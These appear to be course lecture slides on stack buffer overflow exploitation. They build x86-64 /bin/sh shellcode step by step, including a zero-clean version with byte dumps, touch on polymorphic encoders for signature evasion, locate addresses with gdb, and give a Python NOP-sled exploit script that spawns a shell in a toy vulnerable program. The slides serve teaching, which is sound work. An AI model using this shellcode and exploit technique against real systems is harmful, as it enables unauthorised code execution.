
Payloads 

• The classic attack when exploiting an 
overflow is to inject a payload 

– Sometimes called shellcode, since it often 
launches a (privileged) shell 

– But it does not have to! 

• We will be writing our own payloads 

– Metasploit et al. is not allowed 
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Writing Payloads 

• What payload to inject? 

– We will start by writing a classic shellcode for an 
example vulnerable program 

• Where is the payload located in memory? 

– We will place our payload in the stack 

– Requires that the stack is executable 

• Where to place our payload address? 
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Shellcode 

void launch_shell(void) { 

    char path[] = "/bin/sh"; 

    char * argv[] = {path, NULL, }; 

    char * envp[] = {NULL, }; 

    execve(path, argv, envp); 

} 

 

• We use the execve syscall directly to bypass libc 
– system,execl, etc., are all wrappers of execve 

• Let’s compile this and check out the assembly 
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Shellcode (Take 1) 

.text 

launch_shell: 

 push rbp 

 mov rbp, rsp 

 sub rsp, 80 

 lea rax, qword ptr [rbp - 40] 

 lea rsi, qword ptr [rbp - 32] 

 lea rcx, qword ptr [rbp - 8] 

 mov edx, 0 

 movabs rdi, 8 

 mov r8, qword ptr [.Llaunch_shell.path] 

 mov qword ptr [rbp - 8], r8 

 mov qword ptr [rbp - 32], rcx 

 mov qword ptr [rbp - 24], 0 

 mov r8, rax 

 mov qword ptr [rbp - 48], rdi 

 mov rdi, r8 

 mov qword ptr [rbp - 56], rsi 

 mov esi, edx 
 

 mov rdx, qword ptr [rbp - 48] 

 mov qword ptr [rbp - 64], rax 

 mov qword ptr [rbp - 72], rcx 

 call memset 

 mov rdi, qword ptr [rbp - 72] 

 mov rsi, qword ptr [rbp - 56] 

 mov rdx, qword ptr [rbp - 64] 

 mov al, 0 

 call execve 

 mov dword ptr [rbp - 76], eax 

 add rsp, 80 

 pop rbp 

 ret 

 

.section .rodata.str1.1,"aMS",@progbits,1 

.Llaunch_shell.path: 

 .asciz "/bin/sh" 

 .size .Llaunch_shell.path, 8 
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Shellcode Analysis 

• The previous listing is mostly what we want, but it 
has a few problems 
– It references “/bin/sh” at a location in the data segment 
– It calls the libc functions memset and execve 
– It is big 

• We want to be as self-contained and position-
independent as possible 
– Maybe we can assume libc is available and code/data is 

deterministically laid out, maybe not 

• Bloated code works against us 
– We might only have a small buffer to work with 
– We might need to place many copies of the payload, or 

pad it out with a NOP sled (more on that later) 
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Shellcode (Take 2) 
launch_shell: 
    movabs rax, 0x68732f6e69622f    ; /bin/sh 
    mov qword [rsp+0x20], rax       ; put /bin/sh on the stack 
    lea rdi, [rsp+0x20]             ; get a pointer to /bin/sh 
    mov qword [rsp+0x10], rdi       ; put argv[0] on the stack 
    mov qword [rsp+0x18], 0x0       ; terminate argv 
    mov qword [rsp+0x8], 0x0        ; terminate env; 
    lea rsi, [rsp+0x10]             ; get pointer to argv 
    lea rdx, [rsp+0x8]              ; get pointer to envp 
    mov rax, 59                     ; execve is syscall 59 
    syscall                         ; execve(rdi, rsi, rdx) 

 
• This is closer to what we want 

– It is much smaller (69 bytes), and “/bin/sh” has been inlined as a constant 

• But, there is still a problem 
– Remember, the overflow is performed with a strcpy 
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Shellcode Disassembly 

81EC00010000      sub esp,0x100 
48B82F62696E2F73  mov rax,0x68732f6e69622f 
-6800 
4889442420        mov [rsp+0x20],rax 
488D7C2420        lea rdi,[rsp+0x20] 
48897C2410        mov [rsp+0x10],rdi 
48C7442418000000  mov qword [rsp+0x18],0x0 
-00 
48C7442408000000  mov qword [rsp+0x8],0x0 
-00 
488D742410        lea rsi,[rsp+0x10] 
488D542408        lea rdx,[rsp+0x8] 
48C7C03B000000    mov rax,0x3b 
0F05              syscall 
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Zero-Clean Shellcode 

• Our shellcode is full of zeroes! 
– strcpy stops copying when it has reached the end of 

the input string (our payload) 
– Strings are null-terminated in C 

• Creating “zero-clean” shellcode is a common 
requirement 
– Whenever your payload is processed by a string 

operation 
– String operation doesn’t necessarily have to be the 

final overflow 
– Special case of the more general payload 

transformation problem 
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Shellcode (Take 3) 

launch_shell: 

    sub rsp, byte 0x70 

    xor rcx, rcx 

    mov rdx, rcx 

    mov qword [rsp+0x28], rdx 

    mov rdx, 0x68732f6e69622f2f 

    mov qword [rsp+0x20], rdx 

    lea rdi, [rsp+0x20] 

    mov qword [rsp+0x10], rdi 

    mov qword [rsp+0x18], rcx 

    mov qword [rsp+0x8], rcx 

    lea rsi, [rsp+0x10] 

    lea rdx, [rsp+0x8] 

    mov rax, rcx 

    mov al, byte 59 

    syscall 

 

> ndisasm –b64 payload.bin 

83EC70            sub esp,byte +0x70 

4831C9            xor rcx,rcx 

4889CA            mov rdx,rcx 

4889542428        mov [rsp+0x28],rdx 

48BA2F2F62696E2F  mov rdx,0x68732f6e69622f2f 

-7368 

4889542420        mov [rsp+0x20],rdx 

488D7C2420        lea rdi,[rsp+0x20] 

48897C2410        mov [rsp+0x10],rdi 

48894C2418        mov [rsp+0x18],rcx 

48894C2408        mov [rsp+0x8],rcx 

488D742410        lea rsi,[rsp+0x10] 

488D542408        lea rdx,[rsp+0x8] 

4889C8            mov rax,rcx 

B03B              mov al,0x3b 

0F05              syscall 

105 



Shellcode Analysis 

We’re now zero-clean, and this will work 

– We zero rcx immediately using an xor insn. and 
use it to place zeros where necessary 

– We avoid zero-padded constants by using 
smaller-width instructions 

– We also saved 2 bytes (now at 66 bytes) 

– This was painful, how can we get around it? 
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Payload Decoders 

 
 

 
 
 
 
 
 

• What if we re-encode the payload with a fresh key on 
each use? 
– Polymorphic shellcode, useful for signature evasion 
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Encoded Payload 

Enc(k, payload) 

Decoding 
Loop 

Dec(k, enc-payload) 



Locating the Shellcode 

• Now we have shellcode, but where do we put 
it and how do we find it again? 

• Where will we put the payload? 

– Since the stack is executable put it there. 

– What else is on the stack? 
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Stack Layout 
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Locating the Shellcode 

• In our case, we could go for either the frame 
copy, or the original argument copy 

– What problem could we run into if we use the 
frame buffer copy? 

– Let’s do the latter for this exploit 

• How to find the address of the argument 
buffer? 

– We’ll run the attack and use gdb to inspect the 
process 
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Locating the Shellcode (Buffer) 
> gdb --args ./vuln aaaaa....  
(gdb) b main 
Breakpoint 1 at 0x40055e: file vuln.c, line 3. 
(gdb) r 
Starting program: ./vuln aaaaaa.... 
 
Breakpoint 1, main (argc=2, argv=0x7fffffffe6c8) at vuln.c:3 
3       strcpy(buf, argv[1]); 
(gdb) si 
...  
(gdb)  
0x0000000000400410 in strcpy@plt () 
(gdb) finish 
Run till exit from #0  0x0000000000400410 in strcpy@plt () 
(gdb) p/x $rax 
$1 = 0x7fffffffe4e0 
(gdb)  
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Locating the Saved IP 
(gdb) disassemble main 
Dump of assembler code for function main: 
   0x0000000000400546 <+0>: push   rbp 
 
(gdb) r 
Starting program: ... 
 
Breakpoint 1, main (argc=32767, argv=0x7fffffffe638) at vuln.c:1 
(gdb) p/x $rsp 
$1 = 0x7fffffffe5e8 
(gdb) p/x  0x7fffffffe5e8 - 0x7fffffffe4e0 
$2 = 0x108 
 

The difference between the saved IP and the buffer address gives us 
the maximum size of our input before we control the saved IP 
 In this case 0x108 bytes 
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Constructing an Exploit Input 
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NOP Sleds 

• Input consists of a NOP sled, the payload, and 
the address of the argv copy of our payload 

• NOP sleds are used to pad out exploits 
– Instruction sequences that don’t affect proper 

execution of the attack 

– x86 No-op instruction (0x90) is only one example 

• Why are they called sleds? 
– Execution slides down on the NOPs into the payload 

– If we don’t jump to exactly the beginning of the 
payload, the nop sled will get us there safely 
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Constructing an Exploit Input 

#!/usr/bin/env python 

 

import sys, struct 

 

buf_len = 0x108 

ret_addr = 0x7fffffffeae0 

payload = open("payload.bin").read() 

buf = ('\x90' * (buf_len - len(payload))) \ 

        + payload + struct.pack('<Q', ret_addr) 

 

sys.stdout.write(buf) 
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Finally 

> env – gdb --args ./vuln $(./exploit.py) 

(gdb) r 

Starting program: ... 

????[...] 

process 24344 is executing new program: 
/bin/dash 

$ id 

uid=1000(pizzaman) gid=1000(pizzaman) 
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